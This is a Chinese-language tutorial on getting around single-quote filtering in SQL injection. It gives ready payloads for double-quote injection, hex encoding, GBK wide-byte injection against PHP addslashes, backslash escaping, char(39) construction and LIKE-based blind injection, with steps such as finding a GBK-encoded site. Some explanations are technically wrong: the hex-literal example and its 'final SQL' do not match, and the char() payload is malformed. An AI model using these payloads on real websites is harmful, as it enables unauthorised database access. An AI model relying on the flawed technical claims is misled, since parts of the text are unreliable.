单引号被过滤怎么绕过
1. 使用双引号
如果后端代码在 SQL 查询中使用了双引号 "
来包裹字符串,那么你可以尝试用双引号进行注入
原始查询: SELECT * FROM users WHERE username = "$username"
注入尝试: username=" or 1=1 -- "
最终执行的 SQL: SELECT * FROM users WHERE username = "" or 1=1 -- "
这种情况并不常见,因为多数开发者会优先使用单引号。但它是一个很好的起点,值得尝试
2. 使用十六进制编码
有些数据库(如 MySQL)允许使用十六进制编码来表示字符串。你可以将单引号 '
或整个字符串(如 or 1=1
)进行十六进制编码,然后通过 0x
前缀传入
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: 假设你要注入 or 1=1
,单引号 '
的十六进制是 0x27
。 ' or 1=1 --
的十六进制是 0x27206f7220313d31202d2d20
完整 URL 注入: id=0x27206f7220313d31202d2d20
最终执行的 SQL: SELECT * FROM users WHERE id = 'or 1=1 -- '
虽然这看起来很直接,但实际应用中,你需要将整个注入语句进行十六进制编码,因为后端可能不仅过滤单引号,还可能过滤其他关键字
3. 使用宽字节注入
宽字节注入是一种专门针对 PHP 的 addslashes()
函数和 magic_quotes_gpc
配置的绕过技术。在某些字符集(如 GBK)中,一个汉字占用两个字节
当服务器使用 addslashes()
函数时,它会将单引号 '
转义为 \'
。在 ASCII 编码下,\
的十六进制是 0x5c
,'
是 0x27
,所以 \'
就是 0x5c27
但如果后端数据库使用了 GBK 编码,且它将 0x5c
和它前面的一个字节组合成一个汉字时,那么 \'
中的 \
就会被“吃掉”,从而使得后面的单引号 '
重新生效
攻击步骤:
- 找到一个 GBK 编码的网站
- 在 URL 中注入一个宽字节,例如
%df
- 然后注入单引号
注入尝试: id=1%df%27
服务器端处理:
- PHP 的
addslashes()
函数收到%df'
- 它在
'
前面加上\
,变成%df\'
- URL 编码后,
%df\'
变为%df%5c%27
- 当这个字符串传到数据库时,GBK 编码会把
%df%5c
当作一个汉字,%27
就会单独留下,恢复成单引号'
最终执行的 SQL: SELECT * FROM users WHERE id = '1運''...
('運'
是一个汉字) 后面的 '
就成为我们控制的单引号,可以用来闭合语句
4. 使用反斜线 \
绕过 addslashes
在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” addslashes
自动添加的反斜线
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: id=1\'
服务器端处理:
- PHP 的
addslashes()
函数收到1'
- 它在
'
前面加上\
,变成1\'
- 如果前端的输入是
1\'
,addslashes
会将\'
变为\\'
这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它
5. char()
函数绕过
char()
函数可以将数字转换为字符。你可以利用这个函数来构造单引号
注入尝试: id=1 and 1=1 and (select char(39))
id=1 union select 1,2,3 from users where username=char(39)adminchar(39)
这种方法通常用于绕过对特定字符串(如 '
)的过滤,但不能绕过对整个注入语句的过滤
6. 使用 like
语句绕过
在某些盲注场景下,如果无法使用单引号,可以尝试使用 like
语句来代替 union
或 and
注入尝试: id=1 and 1 like 1 and 1=1 --
id=1 and 1 like database()
这种方法适用于特定的 SQL 语句结构,但并非万能